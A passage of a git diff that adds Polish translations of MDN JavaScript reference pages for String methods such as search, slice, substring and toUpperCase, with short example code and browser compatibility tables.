+ <td>{{SpecName('ESDraft', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("41")}} </td>
+ <td>{{CompatGeckoDesktop("24")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatSafari("9")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome("36")}}</td>
+ <td>{{CompatGeckoMobile("24")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/search/index.html b/files/pl/web/javascript/referencje/obiekty/string/search/index.html
new file mode 100644
index 0000000000..29b9d8e8fb
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/search/index.html
@@ -0,0 +1,49 @@
+---
+title: String.prototype.search()
+slug: Web/JavaScript/Referencje/Obiekty/String/search
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/search
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Wykonuje przeszukanie dla dopasowanych wyrażeń regularnych i tego obiektu {{jsxref("String")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><var>str</var>.search(<var>regexp</var>)</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>regexp</code> </dt>
+ <dd>Nazwa wyrażenia regularnego. Może być to nazwa zmiennej lub literał.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeśli sukces, rezultat przeszukania indeksu wyrażenia regularnego wewnątrz łańcucha znaków. Inaczej zwróci -1.</p>
+
+<p>Kiedy chcesz wiedzieć gdzie jest znaleziony wzorzec w łańcuchu znaków zastosuj <code>search()</code> (podobne do wyrażenia regularnego metody {{jsxref("RegExp.prototype.test()", "test()")}}); aby uzyskać więcej informacji (lecz wolniej wykonywanie) zastosuj {{jsxref("String.prototype.match()", "match()")}} (podobne do wyrażenia regularnego metody {{jsxref("RegExp.prototype.exec()", "exec()")}} method).</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_search" name="Przyk.C5.82ad:_Zastosowanie_search">Przykład: Zastosowanie <code>search</code>()</h3>
+
+<p>Następujący przykład drukuje wiadomość, która zależy od sukcesu testu.</p>
+
+<pre class="brush: js">function testinput(re, str){
+ var midstring;
+ if (str.search(re) != -1) {
+ midstring = " contains ";
+ } else {
+ midstring = " does not contain ";
+ }
+ console.log (str + midstring + re.source);
+}
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/slice/index.html b/files/pl/web/javascript/referencje/obiekty/string/slice/index.html
new file mode 100644
index 0000000000..4fca8a78ca
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/slice/index.html
@@ -0,0 +1,51 @@
+---
+title: String.prototype.slice()
+slug: Web/JavaScript/Referencje/Obiekty/String/slice
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/slice
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Wydobywa część łańcucha znaków i zwraca go jako nowy łańcuch znaków.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.slice(<var>beginSlice</var>[, <var>endSlice</var>])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>beginSlice</code> </dt>
+ <dd>Oparty na zerze początek indeksu rozpoczynający wyciąganie.</dd>
+</dl>
+
+<dl>
+ <dt><code>endSlice</code> </dt>
+ <dd>Oparty na zerze początek indeksu, który kończy wyciąganie. Jeśli pominięty <code>slice()</code> wydobywa do końca łańcuch znaków.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>slice()</code> wyciąga tekst z jednego łańcucha znaków i zwraca nowy łańcuch znaków. Zmiany w treści jednego łańcucha znaków nie mają wpływu na drugi.</p>
+
+<p><code>slice()</code> wyciąga tekst do <code>endSlice</code> lecz go nie włącza. <code>string.slice(1,4)</code> wyciąga drugi znak aż do czwartego (znaki o indeksach 1, 2 i 3).</p>
+
+<p>Jako ujemny indeks <code>endSlice</code> sygnalizuje przesunięcie z końca łańcucha znaków. <code>str.slice(2,-1)</code> wyciąga trzeci przez ostatni znak w łańcuchu znaków.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad_Zastosowanie_slice_do_stworzenia_nowego_.C5.82a.C5.84cucha_znak.C3.B3w" name="Przyk.C5.82ad:_Zastosowanie_slice_do_stworzenia_nowego_.C5.82a.C5.84cucha_znak.C3.B3w">Przykład: Zastosowanie <code>slice()</code></h3>
+
+<p>Poniższy przykład używa <code>slice</code> do stworzenia nowego łańcucha znaków.</p>
+
+<pre class="brush: js">var str1 = 'The morning is upon us.';
+var str2 = str1.slice(4,-2);
+
+console.log(str2); // OUTPUT: morning is upon u
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/small/index.html b/files/pl/web/javascript/referencje/obiekty/string/small/index.html
new file mode 100644
index 0000000000..be9d33a5bb
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/small/index.html
@@ -0,0 +1,37 @@
+---
+title: String.prototype.small()
+slug: Web/JavaScript/Referencje/Obiekty/String/small
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/String/small
+---
+<div>{{JSRef}} {{deprecated_header}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Powoduje to, że łańcuch znaków będzie wyświetlany małą czcionką, jakby znajdował się wewnątrz znacznika {{HTMLElement("small")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.small()</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>The <code>small()</code> method embeds a string in a <code>&lt;small&gt;</code> tag: <code>"&lt;small&gt;str&lt;/small&gt;"</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_rozmiaru_.C5.82a.C5.84cucha_znakowego" name="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_rozmiaru_.C5.82a.C5.84cucha_znakowego">Przykład: Zastosowanie metody <code>small()</code></h3>
+
+<pre class="brush: js">var worldString = "Witaj, Świecie";
+
+console.log(worldString.small()); // &lt;small&gt;Witaj, Świecie&lt;/small&gt;
+console.log(worldString.big()); // &lt;big&gt;Witaj, Świecie&lt;/big&gt;
+console.log(worldString.fontsize(7)); // &lt;fontsize=7&gt;Witaj, Świecie&lt;/fontsize&gt;</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.fontsize()")}}</li>
+ <li>{{jsxref("String.prototype.big()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/strike/index.html b/files/pl/web/javascript/referencje/obiekty/string/strike/index.html
new file mode 100644
index 0000000000..cef74018f1
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/strike/index.html
@@ -0,0 +1,44 @@
+---
+title: String.prototype.strike()
+slug: Web/JavaScript/Referencje/Obiekty/String/strike
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/strike
+---
+<p>{{JSRef}}{{deprecated_header}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Powoduje, iż łańcuch zostanie wyświetlony przekreślony, tak jakby był wewnątrz znacznika {{HTMLElement("strike")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.strike()</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>The <code>strike()</code> method embeds a string in a <code>&lt;strike&gt;</code> tag: <code>"&lt;strike&gt;str&lt;/strike&gt;"</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_formatowania_.C5.82a.C5.84cucha_znakowego" name="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_formatowania_.C5.82a.C5.84cucha_znakowego">Przykład: Zastosowanie metody <code>strike()</code></h3>
+
+<p>Następujący przykład stosuje metodę <code>string</code> do zmiany formatowania łańcucha znakowego:</p>
+
+<pre class="brush: js">var worldString="Witaj, Świecie";
+
+console.log(worldString.blink()); // &lt;blink&gt;Witaj, Świecie&lt;/blink&gt;
+console.log(worldString.bold()); // &lt;bold&gt;Witaj, Świecie&lt;/bold&gt;
+console.log(worldString.italics()); // &lt;i&gt;Witaj, Świecie&lt;/i&gt;
+console.log(worldString.strike()); // &lt;s&gt;Witaj, Świecie&lt;/s&gt;</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.blink()")}}</li>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/sub/index.html b/files/pl/web/javascript/referencje/obiekty/string/sub/index.html
new file mode 100644
index 0000000000..4c36c53a39
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/sub/index.html
@@ -0,0 +1,44 @@
+---
+title: String.prototype.sub()
+slug: Web/JavaScript/Referencje/Obiekty/String/sub
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/sub
+---
+<p>{{JSRef}}{{deprecated_header}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Powoduje, iż łańcuch zostanie wyświetlony jako indeks dolny tak jakby był wewnątrz znacznika {{HTMLElement("sub")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.sub()</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>The <code>sub()</code> method embeds a string in a <code>&lt;sub&gt;</code> tag: <code>"&lt;sub&gt;str&lt;/sub&gt;"</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h4 id="Przyk.C5.82ad:_Zastosowanie_metod_sub_i_sup_do_formatowania_.C5.82a.C5.84cucha_znak.C3.B3w" name="Przyk.C5.82ad:_Zastosowanie_metod_sub_i_sup_do_formatowania_.C5.82a.C5.84cucha_znak.C3.B3w">Przykład: Zastosowanie metod <code>sub()</code> i <code>sup()</code></h4>
+
+<p>Następujący przykład stosuje metody <code>sub()</code> i {{jsxref("String.prototype.sup()", "sup()")}} do formatowania łańcucha znaków:</p>
+
+<pre class="brush: js">var superText="superscript";
+var subText="subscript";
+
+console.log("This is what a " + superText.sup() + " looks like.");
+// This is what a &lt;sup&gt;superscript&lt;/sup&gt; looks like
+
+console.log("This is what a " + subText.sub() + " looks like.");
+// This is what a &lt;sub&gt;subscript&lt;/sub&gt; looks like.</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.sup()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/substr/index.html b/files/pl/web/javascript/referencje/obiekty/string/substr/index.html
new file mode 100644
index 0000000000..61487db384
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/substr/index.html
@@ -0,0 +1,66 @@
+---
+title: String.prototype.substr()
+slug: Web/JavaScript/Referencje/Obiekty/String/substr
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/substr
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca określoną liczbę początkowych znaków w łańcuchu znaków w określonej lokalizacji.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.substr(<var>start</var>[, <var>length</var>])</code></pre>
+
+<h2 id="Parametry" name="Parametry">Parametry</h2>
+
+<dl>
+ <dt><code>start</code> </dt>
+ <dd>Lokalizacja, w której rozpoczyna się wyciąganie znaków (wartość liczbowa pomiędzy 0, a jeden znak mniej niż długość łańcucha znaków).</dd>
+</dl>
+
+<dl>
+ <dt><code>length</code> </dt>
+ <dd>Liczba znaków do wyciągnięcia.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>start</code> jest indeksem znaków. Pierwszym znakiem w indeksie jest 0 i ostatnim znakiem w indeksie jest liczba o 1 mniejsza niż długość łańcucha znaków. <code>substr()</code> rozpoczyna wyciąganie znaków w <code>start</code> i ściąga liczbę <code>length</code> znaków.</p>
+
+<p>Jeśli <code>start</code> jest dodatnie i jest długością łańcucha znaków lub dłuższą wartością, <code>substr()</code> nie zwraca znaków.</p>
+
+<p>Jeśli <code>start</code> jest ujemne, <code>substr()</code> stosuje to jako indeks znaków z końca łańcucha znaków. Jeśli <code>start</code> jest ujemne i <code>abs(start)</code> jest większe niż długość łańcucha znaków to <code>substr()</code> stosuje 0 jako początek indeksu.</p>
+
+<p>Jeśli <code>length</code> jest 0 lub ujemne, <code>substr()</code> nie zwróci znaków. Jeśli <code>length</code> jest opuszczone, <code>substr()</code> wyciągnie znaki aż do końca łańcucha znaków.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_substr" name="Przyk.C5.82ad:_Zastosowanie_substr">Przykład: Zastosowanie <code>substr()</code></h3>
+
+<p>Rozpatrz poniższy skrypt:</p>
+
+<pre class="brush: js">var str = 'abcdefghij';
+
+console.log('(1, 2): ' + str.substr(1, 2)); // '(1, 2): bc'
+console.log('(-3, 2): ' + str.substr(-3, 2)); // '(-3, 2): hi'
+console.log('(-3): ' + str.substr(-3)); // '(-3): hij'
+console.log('(1): ' + str.substr(1)); // '(1): bcdefghij'
+console.log('(-20, 2): ' + str.substr(-20, 2)); // '(-20, 2): ab'
+console.log('(20, 2): ' + str.substr(20, 2)); // '(20, 2): '
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<p> </p>
+
+<ul>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.substring()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/substring/index.html b/files/pl/web/javascript/referencje/obiekty/string/substring/index.html
new file mode 100644
index 0000000000..5a446e0225
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/substring/index.html
@@ -0,0 +1,90 @@
+---
+title: String.prototype.substring()
+slug: Web/JavaScript/Referencje/Obiekty/String/substring
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/substring
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca podciąg obiektu <code>String</code>.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.substring(<var>indexA</var>[, <var>indexB</var>])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>indexA</code> </dt>
+ <dd>Liczba całkowita pomiędzy 0, a liczbą o jeden mniejszą niż długość łańcucha znaków.</dd>
+ <dt><code>indexB</code> </dt>
+ <dd>Opcjonalny. Liczba całkowita pomiędzy 0 i długością łańcucha znaków.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>substring</code> urywa znaki z <code>indexA</code> lecz nie włącza ich do <code>indexB</code>. W szczególności:</p>
+
+<ul>
+ <li>Jeśli <code>indexA</code> jest mniejsze niż 0, <code>indexA</code> zostanie potraktowany tak, jakby był 0.</li>
+ <li>Jeśli <code>indexB</code> jest większe niż <code>stringName.length</code>, <code>indexB</code> zostanie potraktowany tak, jakby był <code>stringName.length</code>.</li>
+ <li>Jeśli <code>indexA</code> jest równe <code>indexB</code>, <code>substring</code> zwraca pusty łańcuch znaków.</li>
+ <li>Jeśli <code>indexB</code> jest pominięty, <code>substring</code> urwie znaki znajdujące się na końcu łańcucha znaków.</li>
+</ul>
+
+<p>Jeśli <code>indexA</code> jest większy niż <code>indexB</code>, JavaScript zwróci <code>substring(indexB, indexA)</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_substring" name="Przyk.C5.82ad:_Zastosowanie_substring">Przykład: Zastosowanie <code>substring()</code></h3>
+
+<p>Następujący przykład <code>substring</code> stosujemy do wyświetlenia znaków ze słowa "<code>Mozilla</code>":</p>
+
+<pre class="brush: js">var anyString = "Mozilla";
+
+// Wyświetli "Moz"
+console.log(anyString.substring(0,3));
+console.log(anyString.substring(3,0));
+
+// Wyświetli "lla"
+console.log(anyString.substring(4));
+console.log(anyString.substring(4,7));
+console.log(anyString.substring(7,4));
+
+// Wyświetli "Mozill"
+console.log(anyString.substring(0,6));
+
+// Wyświetli "Mozilla"
+console.log(anyString.substring(0,7));
+console.log(anyString.substring(0,10));
+</pre>
+
+<h3 id="Przyk.C5.82ad:_Zamina_podci.C4.85gu_wewn.C4.85trz_ci.C4.85gu" name="Przyk.C5.82ad:_Zamina_podci.C4.85gu_wewn.C4.85trz_ci.C4.85gu">Przykład: Zamiana podciągu wewnątrz ciągu</h3>
+
+<p>Następujący przykład zamienia podciąg wewnątrz ciągu. Zostaną zamienione oba poszczególne znaki i podciągi. Funkcja zostanie wywołana na koniec przykładu zmieniając łańcuch znaków; "<code>Brave New World</code>" na "<code>Brave New Web</code>".</p>
+
+<pre class="brush: js">function replaceString(oldS, newS, fullS) {
+// Replaces oldS with newS in the string fullS
+ for (var i = 0; i &lt; fullS.length; i++) {
+ if (fullS.substring(i, i + oldS.length) == oldS) {
+ fullS = fullS.substring(0, i) + newS + fullS.substring(i + oldS.length, fullS.length);
+ }
+ }
+ return fullS;
+}
+
+replaceString("World", "Web", "Brave New World");
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.substr()")}}</li>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/sup/index.html b/files/pl/web/javascript/referencje/obiekty/string/sup/index.html
new file mode 100644
index 0000000000..dbf33ea3ed
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/sup/index.html
@@ -0,0 +1,45 @@
+---
+title: String.prototype.sup()
+slug: Web/JavaScript/Referencje/Obiekty/String/sup
+tags:
+ - Deprecated
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/sup
+---
+<p>{{JSRef}}{{deprecated_header}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Powoduje, iż łańcuch zostanie wyświetlony jako indeks górny tak jakby był wewnątrz znacznika {{HTMLElement("sup")}}.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.sup()</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>The <code>sup()</code> method embeds a string in a <code>&lt;sup&gt;</code> tag: <code>"&lt;sup&gt;str&lt;/sup&gt;"</code>.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h4 id="Przyk.C5.82ad:_Zastosowanie_metody_sub_i_sup_do_zmiany_formatu_.C5.82a.C5.84cucha_znak.C3.B3w" name="Przyk.C5.82ad:_Zastosowanie_metody_sub_i_sup_do_zmiany_formatu_.C5.82a.C5.84cucha_znak.C3.B3w">Przykład: Zastosowanie metody <code>sub()</code> i <code>sup()</code></h4>
+
+<p>Następujący przykład stosuje metodę {{jsxref("String.prototype.sub()", "sub()")}} i <code>sup()</code> do zmiany formatu łańcucha znaków:</p>
+
+<pre class="brush: js">var superText="superscript";
+var subText="subscript";
+
+console.log("This is what a " + superText.sup() + " looks like.");
+// This is what a &lt;sup&gt;superscript&lt;/sup&gt; looks like
+
+console.log("This is what a " + subText.sub() + " looks like.");
+// This is what a &lt;sub&gt;subscript&lt;/sub&gt; looks like.</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.sub()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/tolowercase/index.html b/files/pl/web/javascript/referencje/obiekty/string/tolowercase/index.html
new file mode 100644
index 0000000000..0b871b9ca6
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/tolowercase/index.html
@@ -0,0 +1,40 @@
+---
+title: String.prototype.toLowerCase()
+slug: Web/JavaScript/Referencje/Obiekty/String/toLowerCase
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toLowerCase
+---
+<p>{{jsref}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca wartość wywołującego łańcucha znaków, skonwertowaną na małe litery.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.toLowerCase()</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>toLowerCase()</code> zwraca wartość łańcucha znaków skonwertowanego na małe litery. <code>toLowerCase()</code> nie wpływa na wartość samego łańcucha.</p>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<h4 id="Przyk.C5.82ad:_Zastosowanie_toLowerCase" name="Przyk.C5.82ad:_Zastosowanie_toLowerCase">Przykład: Zastosowanie <code>toLowerCase</code></h4>
+
+<p>Następujący przykład wyświetli łańcuch "<code>alfabet</code>" złożony z małych liter:</p>
+
+<pre class="brush: js">console.log('ALFABET'.toLowerCase()); // 'alfabet'
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toUpperCase()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/string/tosource/index.html
new file mode 100644
index 0000000000..cb372d673c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/tosource/index.html
@@ -0,0 +1,41 @@
+---
+title: String.prototype.toSource()
+slug: Web/JavaScript/Referencje/Obiekty/String/toSource
+tags:
+ - JavaScript
+ - Method
+ - Non-standard
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toSource
+---
+<p>{{JSRef}}{{non-standard_header}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków reprezentujący kod źródłowy obiektu.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>String.toSource()
+<var>str</var>.toSource()
+</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>toSource()</code> zwraca następujące wartości:</p>
+
+<ul>
+ <li>Dla wbudowanego obiektu {{jsxref("String")}}, <code>toSource()</code> zwraca następujący łańcuch znaków wskazujący, że kod źródłowy nie jest dostępny:
+
+ <pre class="brush: js">function String() {
+ [natywny kod]
+}
+</pre>
+ </li>
+ <li>W przypadku obiektu {{jsxref("String")}} lub łańcuchów znaków, <code>toSource()</code> zwraca łańcuch znaków reprezentujący kod źródłowy.</li>
+</ul>
+
+<p>Ta metoda jest w JavaScript wywoływana zazwyczaj wewnętrznie, nie bezpośrednio w kodzie.</p>
+
+<div class="noinclude"> </div>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/string/tostring/index.html
new file mode 100644
index 0000000000..16028dff15
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/tostring/index.html
@@ -0,0 +1,41 @@
+---
+title: String.protype.toString()
+slug: Web/JavaScript/Referencje/Obiekty/String/toString
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toString
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków reprezentujący dany obiekt.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.toString()</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Obiekt {{jsxref("String")}} przesłania metodę <code>toString</code> obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektów {{jsxref("String")}}, metoda <code>toString()</code> zwraca łańcuch znaków reprezentujący obiekt.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_toString" name="Przyk.C5.82ad:_Zastosowanie_toString">Przykład: Zastosowanie <code>toString()</code></h3>
+
+<p>Następujący przykład wyświetli wartość łańcuch znaków obiektu {{jsxref("String")}}:</p>
+
+<pre class="brush: js">var x = new String("Witaj świecie");
+
+console.log(x.toString()) // Wyświetla "Witaj świecie"
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("String.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/string/touppercase/index.html b/files/pl/web/javascript/referencje/obiekty/string/touppercase/index.html
new file mode 100644
index 0000000000..4b792076fe
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/string/touppercase/index.html
@@ -0,0 +1,38 @@
+---
+title: String.prototype.toUpperCase()
+slug: Web/JavaScript/Referencje/Obiekty/String/toUpperCase
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toUpperCase
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca wartość wywołującego łańcucha znaków, skonwertowaną na duże litery.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.toUpperCase()</code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>toUpperCase()</code> zwraca wartość łańcucha znaków skonwertowanego na duże litery. <code>toUpperCase()</code> nie wpływa na wartość samego łańcucha.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_toUpperCase" name="Przyk.C5.82ad:_Zastosowanie_toUpperCase">Przykład: Zastosowanie <code>toUpperCase()</code></h3>
+
+<pre class="brush: js">console.log('alfabet'.toUpperCase()); // 'ALFABET'
+</pre>
+
